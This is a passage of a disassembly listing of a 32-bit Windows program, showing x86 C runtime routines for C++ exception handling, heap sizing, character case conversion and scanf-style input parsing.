		lea	eax, [ebp-10h]
		push	eax
		call	sub_412D82
		pop	ecx
		pop	ecx
		xor	eax, eax
		jmp	short loc_417126
sub_41713F	endp

; ---------------------------------------------------------------------------


loc_417157:				; DATA XREF: .nsp0:0041D808o
		xor	ebx, ebx
		mov	esi, [ebp+0Ch]
		mov	edi, [ebp+8]

; =============== S U B	R O U T	I N E =======================================



sub_41715F	proc near		; CODE XREF: sub_417099+85p
		mov	eax, [ebp-28h]
		mov	[esi-4], eax
		mov	eax, [ebp-1Ch]
		mov	dword_462C3C, eax
		mov	eax, [ebp-20h]
		mov	dword_462C40, eax
		cmp	dword ptr [edi], 0E06D7363h
		jnz	short locret_4171A4
		cmp	dword ptr [edi+10h], 3
		jnz	short locret_4171A4
		cmp	dword ptr [edi+14h], 19930520h
		jnz	short locret_4171A4
		cmp	[ebp-24h], ebx
		jnz	short locret_4171A4
		cmp	[ebp-2Ch], ebx
		jz	short locret_4171A4
		call	sub_412DEA
		push	eax
		push	edi
		call	sub_417393
		pop	ecx
		pop	ecx

locret_4171A4:				; CODE XREF: sub_41715F+1Cj
					; sub_41715F+22j ...
		retn
sub_41715F	endp


; =============== S U B	R O U T	I N E =======================================



sub_4171A5	proc near		; CODE XREF: sub_417135+3p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	eax, [eax]
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_4171CC
		cmp	dword ptr [eax+10h], 3
		jnz	short loc_4171CC
		cmp	dword ptr [eax+14h], 19930520h
		jnz	short loc_4171CC
		cmp	dword ptr [eax+1Ch], 0
		jnz	short loc_4171CC
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_4171CC:				; CODE XREF: sub_4171A5+Cj
					; sub_4171A5+12j ...
		xor	eax, eax
		retn
sub_4171A5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4171CF	proc near		; CODE XREF: sub_41701E+1Ap

var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_41D818
		push	offset sub_419528
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	ecx, [ebp+arg_8]
		mov	eax, [ecx+4]
		test	eax, eax
		jz	loc_417378
		cmp	byte ptr [eax+8], 0
		jz	loc_417378
		mov	eax, [ecx+8]
		test	eax, eax
		jz	loc_417378
		mov	edx, [ebp+arg_4]
		lea	edi, [eax+edx+0Ch]
		and	[ebp+var_4], 0
		test	byte ptr [ecx],	8
		jz	short loc_41726C
		mov	esi, [ebp+arg_0]
		push	1
		push	dword ptr [esi+18h]
		call	sub_41A833
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_41736F
		push	1
		push	edi
		call	sub_41A84F
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_41736F
		mov	eax, [esi+18h]
		mov	[edi], eax
		mov	ecx, [ebp+arg_C]
		add	ecx, 8
		push	ecx


loc_41725D:				; CODE XREF: sub_4171CF+F5j
		push	eax
		call	sub_4173FA
		pop	ecx
		pop	ecx
		mov	[edi], eax
		jmp	loc_417374
; ---------------------------------------------------------------------------


loc_41726C:				; CODE XREF: sub_4171CF+57j
		mov	esi, [ebp+arg_C]
		test	byte ptr [esi],	1
		jz	short loc_4172C6
		mov	ebx, [ebp+arg_0]
		push	1
		push	dword ptr [ebx+18h]
		call	sub_41A833
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_41736F
		push	1
		push	edi
		call	sub_41A84F
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_41736F
		push	dword ptr [esi+14h]
		push	dword ptr [ebx+18h]
		push	edi
		call	sub_412E60
		add	esp, 0Ch
		cmp	dword ptr [esi+14h], 4
		jnz	loc_417374
		mov	eax, [edi]
		test	eax, eax
		jz	loc_417374
		add	esi, 8
		push	esi
		jmp	short loc_41725D
; ---------------------------------------------------------------------------


loc_4172C6:				; CODE XREF: sub_4171CF+A3j
		cmp	dword ptr [esi+18h], 0
		mov	ebx, [ebp+arg_0]
		push	1
		push	dword ptr [ebx+18h]
		jnz	short loc_41730E
		call	sub_41A833
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_41736F
		push	1
		push	edi
		call	sub_41A84F
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_41736F
		push	dword ptr [esi+14h]
		add	esi, 8
		push	esi
		push	dword ptr [ebx+18h]
		call	sub_4173FA
		pop	ecx
		pop	ecx
		push	eax
		push	edi
		call	sub_412E60
		add	esp, 0Ch
		jmp	short loc_417374
; ---------------------------------------------------------------------------


loc_41730E:				; CODE XREF: sub_4171CF+103j
		call	sub_41A833
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_41736F
		push	1
		push	edi
		call	sub_41A84F
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_41736F
		push	dword ptr [esi+18h]
		call	sub_41A86B
		pop	ecx
		test	eax, eax
		jz	short loc_41736F
		test	byte ptr [esi],	4
		jz	short loc_417355
		push	1
		lea	eax, [esi+8]
		push	eax
		push	dword ptr [ebx+18h]
		call	sub_4173FA
		pop	ecx
		pop	ecx
		push	eax
		push	dword ptr [esi+18h]
		push	edi
		call	sub_412A95
		jmp	short loc_417374
; ---------------------------------------------------------------------------


loc_417355:				; CODE XREF: sub_4171CF+168j
		lea	eax, [esi+8]
		push	eax
		push	dword ptr [ebx+18h]
		call	sub_4173FA
		pop	ecx
		pop	ecx
		push	eax
		push	dword ptr [esi+18h]
		push	edi
		call	sub_412A8E
		jmp	short loc_417374
; ---------------------------------------------------------------------------


loc_41736F:				; CODE XREF: sub_4171CF+6Aj
					; sub_4171CF+7Cj ...
		call	sub_4174C2


loc_417374:				; CODE XREF: sub_4171CF+98j
					; sub_4171CF+E1j ...
		or	[ebp+var_4], 0FFFFFFFFh


loc_417378:				; CODE XREF: sub_4171CF+2Ej
					; sub_4171CF+38j ...
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4171CF	endp

; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		jmp	sub_41746C

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417393	proc near		; CODE XREF: sub_416CBE+170p
					; sub_41715F+3Ep

var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_41D828
		push	offset sub_419528
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, [ebp+arg_0]
		test	eax, eax
		jz	short loc_4173DA
		mov	ecx, [eax+1Ch]
		mov	ecx, [ecx+4]
		test	ecx, ecx
		jz	short loc_4173DA
		and	[ebp+var_4], 0
		push	ecx
		push	dword ptr [eax+18h]
		call	sub_412A8E
		or	[ebp+var_4], 0FFFFFFFFh


loc_4173DA:				; CODE XREF: sub_417393+2Aj
					; sub_417393+34j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_417393	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		cmp	[ebp+0Ch], al
		setnz	al
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		jmp	sub_41746C

; =============== S U B	R O U T	I N E =======================================



sub_4173FA	proc near		; CODE XREF: sub_4171CF+8Fp
					; sub_4171CF+12Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_4]
		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [ecx]
		mov	edx, [ecx+4]
		add	eax, esi
		test	edx, edx
		jl	short loc_41741B
		mov	esi, [edx+esi]
		mov	ecx, [ecx+8]
		mov	ecx, [esi+ecx]
		add	ecx, edx
		add	eax, ecx


loc_41741B:				; CODE XREF: sub_4173FA+12j
		pop	esi
		retn
sub_4173FA	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417420	proc near		; CODE XREF: sub_412B21+40p
					; sub_416F6A+5Cp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	ebx
		push	ecx
		mov	eax, [ebp+arg_4]
		add	eax, 0Ch
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		push	ebp
		push	[ebp+arg_8]
		mov	ecx, [ebp+arg_8]
		mov	ebp, [ebp+var_4]
		call	sub_412E0D
		push	esi
		push	edi
		call	eax
		pop	edi
		pop	esi
		mov	ebx, ebp
		pop	ebp
		mov	ecx, [ebp+arg_8]
		push	ebp
		mov	ebp, ebx
		cmp	ecx, 100h
		jnz	short loc_41745F
		mov	ecx, 2


loc_41745F:				; CODE XREF: sub_417420+38j
		push	ecx
		call	sub_412E0D
		pop	ebp
		pop	ecx
		pop	ebx
		leave
		retn	0Ch
sub_417420	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41746C	proc near		; CODE XREF: sub_416CBE:loc_416E60j
					; sub_417008:loc_417019j ...

var_18		= dword	ptr -18h
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0041A883 SIZE 00000017 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_41D838
		push	offset sub_419528
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		and	[ebp+var_4], 0
		mov	eax, dword_462C48
		test	eax, eax
		jz	short loc_4174B4
		mov	[ebp+var_4], 1
		call	eax ; dword_462C48
		jmp	short loc_4174B0
; ---------------------------------------------------------------------------


loc_4174A9:				; DATA XREF: .nsp0:0041D848o
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_4174AD:				; DATA XREF: .nsp0:0041D84Co
		mov	esp, [ebp+var_18]


loc_4174B0:				; CODE XREF: sub_41746C+3Bj
		and	[ebp+var_4], 0


loc_4174B4:				; CODE XREF: sub_41746C+30j
		or	[ebp+var_4], 0FFFFFFFFh
		call	$+5


loc_4174BD:				; DATA XREF: .nsp0:0041D840o
		jmp	loc_41A883
sub_41746C	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4174C2	proc near		; CODE XREF: sub_412CC3+23p
					; sub_412CC3:loc_412D2Ep ...

var_18		= dword	ptr -18h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_41D850
		push	offset sub_419528
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		and	[ebp+var_4], 0
		mov	eax, off_431814
		test	eax, eax
		jz	short loc_41750A
		mov	[ebp+var_4], 1
		call	eax ; sub_41746C
		jmp	short loc_417506
; ---------------------------------------------------------------------------


loc_4174FF:				; DATA XREF: .nsp0:0041D860o
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_417503:				; DATA XREF: .nsp0:0041D864o
		mov	esp, [ebp+var_18]


loc_417506:				; CODE XREF: sub_4174C2+3Bj
		and	[ebp+var_4], 0


loc_41750A:				; CODE XREF: sub_4174C2+30j
		or	[ebp+var_4], 0FFFFFFFFh
		call	$+5


loc_417513:				; DATA XREF: .nsp0:0041D858o
		jmp	sub_41746C
sub_4174C2	endp


; =============== S U B	R O U T	I N E =======================================



sub_417518	proc near		; CODE XREF: sub_4131A3+7p
					; sub_4131A3+26p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	esi
		call	sub_4153CD
		test	eax, eax
		pop	ecx
		jz	short loc_417530
		mov	eax, [esi-4]
		pop	esi
		sub	eax, 9
		retn
; ---------------------------------------------------------------------------


loc_417530:				; CODE XREF: sub_417518+Ej
		push	esi
		push	0
		push	dword_464220
		call	dword_41D180	; RtlSizeHeap
		pop	esi
		retn
sub_417518	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417541	proc near		; CODE XREF: sub_413251+12Bp

var_4		= byte ptr -4
var_3		= byte ptr -3
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_462C58, 0
		push	ebx
		jnz	short loc_41756C
		mov	eax, [ebp+arg_0]
		cmp	eax, 61h
		jl	loc_41760A
		cmp	eax, 7Ah
		jg	loc_41760A
		sub	eax, 20h
		jmp	loc_41760A
; ---------------------------------------------------------------------------


loc_41756C:				; CODE XREF: sub_417541+Cj
		mov	ebx, [ebp+arg_0]
		cmp	ebx, 100h
		jge	short loc_41759F
		cmp	dword_4316BC, 1
		jle	short loc_41758C
		push	2
		push	ebx
		call	sub_414E26
		pop	ecx
		pop	ecx
		jmp	short loc_417597
; ---------------------------------------------------------------------------


loc_41758C:				; CODE XREF: sub_417541+3Dj
		mov	eax, off_4314B0
		mov	al, [eax+ebx*2]
		and	eax, 2


loc_417597:				; CODE XREF: sub_417541+49j
		test	eax, eax
		jnz	short loc_41759F


loc_41759B:				; CODE XREF: sub_417541+AFj
		mov	eax, ebx
		jmp	short loc_41760A
; ---------------------------------------------------------------------------


loc_41759F:				; CODE XREF: sub_417541+34j
					; sub_417541+58j
		mov	edx, off_4314B0
		mov	eax, ebx
		sar	eax, 8
		movzx	ecx, al
		test	byte ptr [edx+ecx*2+1],	80h
		jz	short loc_4175C2
		and	byte ptr [ebp+arg_0+2],	0
		mov	byte ptr [ebp+arg_0], al
		mov	byte ptr [ebp+arg_0+1],	bl
		push	2
		jmp	short loc_4175CB
; ---------------------------------------------------------------------------


loc_4175C2:				; CODE XREF: sub_417541+71j
		and	byte ptr [ebp+arg_0+1],	0
		mov	byte ptr [ebp+arg_0], bl
		push	1


loc_4175CB:				; CODE XREF: sub_417541+7Fj
		pop	eax
		lea	ecx, [ebp+var_4]
		push	1
		push	0
		push	3
		push	ecx
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		push	200h
		push	dword_462C58
		call	loc_418641
		add	esp, 20h
		test	eax, eax
		jz	short loc_41759B
		cmp	eax, 1
		jnz	short loc_4175FD
		movzx	eax, [ebp+var_4]
		jmp	short loc_41760A
; ---------------------------------------------------------------------------


loc_4175FD:				; CODE XREF: sub_417541+B4j
		movzx	eax, [ebp+var_3]
		movzx	ecx, [ebp+var_4]
		shl	eax, 8
		or	eax, ecx


loc_41760A:				; CODE XREF: sub_417541+14j
					; sub_417541+1Dj ...
		pop	ebx
		leave
		retn
sub_417541	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41760D	proc near		; CODE XREF: sub_413470+2Ap

var_1C4		= byte ptr -1C4h
var_1C3		= byte ptr -1C3h
var_64		= byte ptr -64h
var_59		= byte ptr -59h
var_44		= dword	ptr -44h
var_3E		= word ptr -3Eh
var_3C		= dword	ptr -3Ch
var_38		= byte ptr -38h
var_37		= byte ptr -37h
var_35		= byte ptr -35h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= dword	ptr -14h
var_F		= byte ptr -0Fh
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh
var_C		= dword	ptr -0Ch
var_5		= byte ptr -5
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 1C4h
		and	[ebp+var_15], 0
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		xor	ebx, ebx
		push	edi
		mov	al, [esi]
		mov	[ebp+var_4], ebx
		test	al, al
		mov	[ebp+var_34], ebx
		jz	loc_418013
		mov	edi, [ebp+arg_0]
		jmp	short loc_41763C
; ---------------------------------------------------------------------------


loc_417637:				; CODE XREF: sub_41760D+9CEj
		mov	edi, [ebp+arg_0]
		xor	ebx, ebx


loc_41763C:				; CODE XREF: sub_41760D+28j
		cmp	dword_4316BC, 1
		jle	short loc_417654
		movzx	eax, al
		push	8
		push	eax
		call	sub_414E26
		pop	ecx
		pop	ecx
		jmp	short loc_417663
; ---------------------------------------------------------------------------


loc_417654:				; CODE XREF: sub_41760D+36j
		mov	ecx, off_4314B0
		movzx	eax, al
		mov	al, [ecx+eax*2]
		and	eax, 8


loc_417663:				; CODE XREF: sub_41760D+45j
		cmp	eax, ebx
		jz	short loc_41769D
		dec	[ebp+var_4]
		push	edi
		lea	eax, [ebp+var_4]
		push	edi
		push	eax
		call	sub_41809A
		pop	ecx
		pop	ecx
		push	eax
		call	sub_418083
		movzx	eax, byte ptr [esi+1]
		inc	esi
		push	eax
		call	sub_41A962
		add	esp, 0Ch


loc_41768B:				; CODE XREF: sub_41760D+8Ej
		test	eax, eax
		jz	short loc_41769D
		movzx	eax, byte ptr [esi+1]
		inc	esi
		push	eax
		call	sub_41A962
		pop	ecx
		jmp	short loc_41768B
; ---------------------------------------------------------------------------


loc_41769D:				; CODE XREF: sub_41760D+58j
					; sub_41760D+80j
		cmp	byte ptr [esi],	25h
		jnz	loc_417F7F
		and	[ebp+var_35], 0
		and	[ebp+var_18], 0
		and	[ebp+var_17], 0
		and	[ebp+var_E], 0
		and	[ebp+var_F], 0
		and	[ebp+var_16], 0
		xor	edi, edi
		and	[ebp+var_5], 0
		mov	[ebp+var_1C], ebx
		mov	[ebp+var_20], ebx
		mov	[ebp+var_C], ebx
		mov	[ebp+var_D], 1
		mov	[ebp+var_30], ebx


loc_4176D4:				; CODE XREF: sub_41760D+172j
		movzx	ebx, byte ptr [esi+1]
		inc	esi
		cmp	dword_4316BC, 1
		jle	short loc_4176F1
		movzx	eax, bl
		push	4
		push	eax
		call	sub_414E26
		pop	ecx
		pop	ecx
		jmp	short loc_417700
; ---------------------------------------------------------------------------


loc_4176F1:				; CODE XREF: sub_41760D+D3j
		mov	ecx, off_4314B0
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 4


loc_417700:				; CODE XREF: sub_41760D+E2j
		test	eax, eax
		jz	short loc_417716
		mov	eax, [ebp+var_C]
		inc	[ebp+var_20]
		lea	eax, [eax+eax*4]
		lea	eax, [ebx+eax*2-30h]
		mov	[ebp+var_C], eax
		jmp	short loc_41777B
; ---------------------------------------------------------------------------


loc_417716:				; CODE XREF: sub_41760D+F5j
		cmp	ebx, 4Eh
		jg	short loc_417759
		jz	short loc_41777B
		cmp	ebx, 2Ah
		jz	short loc_417754
		cmp	ebx, 46h
		jz	short loc_41777B
		cmp	ebx, 49h
		jz	short loc_417736
		cmp	ebx, 4Ch
		jnz	short loc_417768
		inc	[ebp+var_D]
		jmp	short loc_41777B
; ---------------------------------------------------------------------------


loc_417736:				; CODE XREF: sub_41760D+11Dj
		cmp	byte ptr [esi+1], 36h
		jnz	short loc_417768
		cmp	byte ptr [esi+2], 34h
		lea	eax, [esi+2]
		jnz	short loc_417768
		inc	[ebp+var_30]
		and	[ebp+var_28], 0
		and	[ebp+var_24], 0
		mov	esi, eax
		jmp	short loc_41777B
; ---------------------------------------------------------------------------


loc_417754:				; CODE XREF: sub_41760D+113j
		inc	[ebp+var_E]
		jmp	short loc_41777B
; ---------------------------------------------------------------------------


loc_417759:				; CODE XREF: sub_41760D+10Cj
		cmp	ebx, 68h
		jz	short loc_417775
		cmp	ebx, 6Ch
		jz	short loc_41776D
		cmp	ebx, 77h
		jz	short loc_417770


loc_417768:				; CODE XREF: sub_41760D+122j
					; sub_41760D+12Dj ...
		inc	[ebp+var_F]
		jmp	short loc_41777B
; ---------------------------------------------------------------------------


loc_41776D:				; CODE XREF: sub_41760D+154j
		inc	[ebp+var_D]


loc_417770:				; CODE XREF: sub_41760D+159j
		inc	[ebp+var_5]
		jmp	short loc_41777B
; ---------------------------------------------------------------------------


loc_417775:				; CODE XREF: sub_41760D+14Fj
		dec	[ebp+var_D]
		dec	[ebp+var_5]


loc_41777B:				; CODE XREF: sub_41760D+107j
					; sub_41760D+10Ej ...
		cmp	[ebp+var_F], 0
		jz	loc_4176D4
		cmp	[ebp+var_E], 0
		mov	[ebp+arg_4], esi
		jnz	short loc_4177A0
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_44], eax
		add	eax, 4
		mov	[ebp+arg_8], eax
		mov	eax, [eax-4]
		mov	[ebp+var_2C], eax


loc_4177A0:				; CODE XREF: sub_41760D+17Fj
		and	[ebp+var_F], 0
		cmp	[ebp+var_5], 0
		jnz	short loc_4177BE
		mov	al, [esi]
		cmp	al, 53h
		jz	short loc_4177BA
		cmp	al, 43h
		jz	short loc_4177BA
		or	[ebp+var_5], 0FFh
		jmp	short loc_4177BE
; ---------------------------------------------------------------------------


loc_4177BA:				; CODE XREF: sub_41760D+1A1j
					; sub_41760D+1A5j
		mov	[ebp+var_5], 1


loc_4177BE:				; CODE XREF: sub_41760D+19Bj
					; sub_41760D+1ABj
		mov	ebx, [ebp+arg_4]
		movzx	esi, byte ptr [ebx]
		or	esi, 20h
		cmp	esi, 6Eh
		mov	[ebp+var_3C], esi
		jz	short loc_4177F7
		cmp	esi, 63h
		jz	short loc_4177E8
		cmp	esi, 7Bh
		jz	short loc_4177E8
		push	[ebp+arg_0]
		lea	eax, [ebp+var_4]
		push	eax
		call	sub_41809A
		pop	ecx
		jmp	short loc_4177F3
; ---------------------------------------------------------------------------


loc_4177E8:				; CODE XREF: sub_41760D+1C5j
					; sub_41760D+1CAj
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_418069


loc_4177F3:				; CODE XREF: sub_41760D+1D9j
		pop	ecx
		mov	[ebp+var_14], eax


loc_4177F7:				; CODE XREF: sub_41760D+1C0j
		xor	eax, eax
		cmp	[ebp+var_20], eax
		jz	short loc_417807
		cmp	[ebp+var_C], eax
		jz	loc_417FE3


loc_417807:				; CODE XREF: sub_41760D+1EFj
		cmp	esi, 6Fh
		jg	loc_417A6E
		jz	loc_417D20
		cmp	esi, 63h
		jz	loc_417A4B
		cmp	esi, 64h
		jz	loc_417D20
		jle	loc_417A98
		cmp	esi, 67h
		jle	short loc_41786B
		cmp	esi, 69h
		jz	short loc_417853
		cmp	esi, 6Eh
		jnz	loc_417A98
		cmp	[ebp+var_E], 0
		mov	edi, [ebp+var_4]
		jz	loc_417F4E
		jmp	loc_417F74
; ---------------------------------------------------------------------------


loc_417853:				; CODE XREF: sub_41760D+229j
		push	64h
		pop	esi


loc_417856:				; CODE XREF: sub_41760D+480j
		mov	ebx, [ebp+var_14]
		cmp	ebx, 2Dh
		jnz	loc_417AE0
		mov	[ebp+var_17], 1
		jmp	loc_417AE5
; ---------------------------------------------------------------------------


loc_41786B:				; CODE XREF: sub_41760D+224j
		mov	ebx, [ebp+var_14]
		lea	esi, [ebp+var_1C4]
		cmp	ebx, 2Dh
		jnz	short loc_417887
		mov	[ebp+var_1C4], bl
		lea	esi, [ebp+var_1C3]
		jmp	short loc_41788C
; ---------------------------------------------------------------------------


loc_417887:				; CODE XREF: sub_41760D+26Aj
		cmp	ebx, 2Bh
		jnz	short loc_4178A3


loc_41788C:				; CODE XREF: sub_41760D+278j
		mov	edi, [ebp+arg_0]
		dec	[ebp+var_C]
		inc	[ebp+var_4]
		push	edi
		call	sub_418069
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_4178A6
; ---------------------------------------------------------------------------


loc_4178A3:				; CODE XREF: sub_41760D+27Dj
		mov	edi, [ebp+arg_0]


loc_4178A6:				; CODE XREF: sub_41760D+294j
		cmp	[ebp+var_20], 0
		jz	short loc_4178B5
		cmp	[ebp+var_C], 15Dh
		jle	short loc_4178BC


loc_4178B5:				; CODE XREF: sub_41760D+29Dj
		mov	[ebp+var_C], 15Dh


loc_4178BC:				; CODE XREF: sub_41760D+2A6j
					; sub_41760D+2F2j
		cmp	dword_4316BC, 1
		jle	short loc_4178D1
		push	4
		push	ebx
		call	sub_414E26
		pop	ecx
		pop	ecx
		jmp	short loc_4178DC
; ---------------------------------------------------------------------------


loc_4178D1:				; CODE XREF: sub_41760D+2B6j
		mov	eax, off_4314B0
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_4178DC:				; CODE XREF: sub_41760D+2C2j
		test	eax, eax
		jz	short loc_417901
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_417901
		inc	[ebp+var_1C]
		mov	[esi], bl
		inc	esi
		inc	[ebp+var_4]
		push	edi
		call	sub_418069
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_4178BC
; ---------------------------------------------------------------------------


loc_417901:				; CODE XREF: sub_41760D+2D1j
					; sub_41760D+2DBj
		cmp	byte_4316C0, bl
		jnz	short loc_41796F
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_41796F
		inc	[ebp+var_4]
		push	edi
		call	sub_418069
		mov	ebx, eax
		mov	al, byte_4316C0
		mov	[esi], al
		pop	ecx
		mov	[ebp+var_14], ebx
		inc	esi


loc_41792A:				; CODE XREF: sub_41760D+360j
		cmp	dword_4316BC, 1
		jle	short loc_41793F
		push	4
		push	ebx
		call	sub_414E26
		pop	ecx
		pop	ecx
		jmp	short loc_41794A
; ---------------------------------------------------------------------------


loc_41793F:				; CODE XREF: sub_41760D+324j
		mov	eax, off_4314B0
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_41794A:				; CODE XREF: sub_41760D+330j
		test	eax, eax
		jz	short loc_41796F
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_41796F
		inc	[ebp+var_1C]
		mov	[esi], bl
		inc	esi
		inc	[ebp+var_4]
		push	edi
		call	sub_418069
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_41792A
; ---------------------------------------------------------------------------


loc_41796F:				; CODE XREF: sub_41760D+2FAj
					; sub_41760D+304j ...
		cmp	[ebp+var_1C], 0
		jz	loc_417A07
		cmp	ebx, 65h
		jz	short loc_417987
		cmp	ebx, 45h
		jnz	loc_417A07


loc_417987:				; CODE XREF: sub_41760D+36Fj
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_417A07
		mov	byte ptr [esi],	65h
		inc	esi
		inc	[ebp+var_4]
		push	edi
		call	sub_418069
		mov	ebx, eax
		pop	ecx
		cmp	ebx, 2Dh
		mov	[ebp+var_14], ebx
		jnz	short loc_4179AE
		mov	[esi], al
		inc	esi
		jmp	short loc_4179B3
; ---------------------------------------------------------------------------


loc_4179AE:				; CODE XREF: sub_41760D+39Aj
		cmp	ebx, 2Bh
		jnz	short loc_4179D1


loc_4179B3:				; CODE XREF: sub_41760D+39Fj
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jnz	short loc_4179C2
		and	[ebp+var_C], eax
		jmp	short loc_4179D1
; ---------------------------------------------------------------------------


loc_4179C2:				; CODE XREF: sub_41760D+3AEj
					; sub_41760D+3F8j
		inc	[ebp+var_4]
		push	edi
		call	sub_418069
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx


loc_4179D1:				; CODE XREF: sub_41760D+3A4j
					; sub_41760D+3B3j
		cmp	dword_4316BC, 1
		jle	short loc_4179E6
		push	4
		push	ebx
		call	sub_414E26
		pop	ecx
		pop	ecx
		jmp	short loc_4179F1
; ---------------------------------------------------------------------------


loc_4179E6:				; CODE XREF: sub_41760D+3CBj
		mov	eax, off_4314B0
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_4179F1:				; CODE XREF: sub_41760D+3D7j
		test	eax, eax
		jz	short loc_417A07
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_417A07
		inc	[ebp+var_1C]
		mov	[esi], bl
		inc	esi
		jmp	short loc_4179C2
; ---------------------------------------------------------------------------


loc_417A07:				; CODE XREF: sub_41760D+366j
					; sub_41760D+374j ...
		dec	[ebp+var_4]
		push	edi
		push	ebx
		call	sub_418083
		cmp	[ebp+var_1C], 0
		pop	ecx
		pop	ecx
		jz	loc_418013
		cmp	[ebp+var_E], 0
		jnz	loc_417F74
		inc	[ebp+var_34]
		and	byte ptr [esi],	0
		lea	eax, [ebp+var_1C4]
		push	eax
		movsx	eax, [ebp+var_D]
		push	[ebp+var_2C]
		dec	eax
		push	eax
		call	off_4317F0
		add	esp, 0Ch
		jmp	loc_417F74
; ---------------------------------------------------------------------------


loc_417A4B:				; CODE XREF: sub_41760D+20Cj
		cmp	[ebp+var_20], eax
		jnz	short loc_417A5A
		inc	[ebp+var_C]
		mov	[ebp+var_20], 1


loc_417A5A:				; CODE XREF: sub_41760D+441j
		cmp	[ebp+var_5], 0
		jle	short loc_417A64
		mov	[ebp+var_16], 1


loc_417A64:				; CODE XREF: sub_41760D+451j
